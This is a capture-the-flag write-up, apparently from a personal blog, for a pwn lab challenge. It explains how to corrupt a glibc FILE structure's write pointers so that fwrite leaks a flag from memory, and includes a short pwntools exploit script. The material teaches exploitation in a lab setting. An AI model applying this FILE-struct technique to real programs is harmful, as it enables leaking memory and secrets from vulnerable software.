Post

(File Struct Exploits) level 1

(File Struct Exploits) level 1

Information

  • category: pwn

Description

Harness the power of FILE structs to arbitrarily read data.

Write-up

Goal: using an arbitrary write / memory-write primitive to corrupt a FILE (_IO_FILE) stream structure so that when the program performs a write the stream emits the flag value we placed.

  • Place "FLAG{...}" in memory at flag_addr.
  • Overwrite _IO_write_base = flag_addr, _IO_write_ptr = flag_addr, _IO_write_end = flag_addr + strlen.
  • Set _IO_read_end = _IO_write_base (if necessary) and _flags to a value that makes the write path accept the buffer.
  • Trigger fflush() / any print that writes via that FILE object.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

elf = context.binary = ELF("/challenge/babyfile_level1")
global p
p = elf.process()
"""
   0x00000000004018d1 <+155>:   mov    rdx,QWORD PTR [rip+0x27e8]        # 0x4040c0 <fp>
   0x00000000004018d8 <+162>:   mov    rax,QWORD PTR [rip+0x2869]        # 0x404148 <buf>
   0x00000000004018df <+169>:   mov    rcx,rdx
   0x00000000004018e2 <+172>:   mov    edx,0x100
   0x00000000004018e7 <+177>:   mov    esi,0x1
   0x00000000004018ec <+182>:   mov    rdi,rax
   0x00000000004018ef <+185>:   call   0x4011a0 <fwrite@plt>
"""
def exploit():
        p.recvuntil(b"located at ")
        flag_addr = int(p.recvline()[:-1],16)

        fp = FileStructure()
        payload = fp.write(flag_addr,280)
        p.send(payload)
        p.interactive()

def main():
        exploit()

if __name__ == "__main__":
        main()
This post is licensed under CC BY 4.0 by the author.